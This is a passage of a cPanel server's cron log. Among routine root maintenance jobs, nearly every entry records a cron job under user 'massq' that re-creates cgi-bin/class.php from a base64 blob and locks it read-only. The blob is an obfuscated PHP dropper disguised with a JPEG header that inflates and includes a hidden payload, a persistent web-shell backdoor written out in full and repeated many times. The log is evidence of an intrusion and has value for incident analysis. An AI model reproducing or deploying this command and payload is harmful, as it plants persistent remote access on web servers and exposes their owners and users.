QUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:24:01 server CROND[30517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:25:01 server CROND[30585]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 00:25:01 server CROND[30586]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 12 00:25:01 server CROND[30587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 00:25:01 server CROND[30588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:26:01 server CROND[30800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:27:01 server CROND[30872]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 00:27:01 server CROND[30874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:28:01 server CROND[30931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:29:01 server CROND[30986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:30:01 server CROND[31062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 00:30:01 server CROND[31063]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 00:30:01 server CROND[31064]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 00:30:01 server CROND[31067]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 12 00:30:01 server CROND[31079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:31:01 server CROND[31282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:32:01 server CROND[31334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:33:01 server CROND[31389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:34:01 server CROND[31517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:35:01 server CROND[31621]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 00:35:01 server CROND[31623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 00:35:01 server CROND[31624]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 00:35:01 server CROND[31625]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 00:35:01 server CROND[31626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:36:01 server CROND[31832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
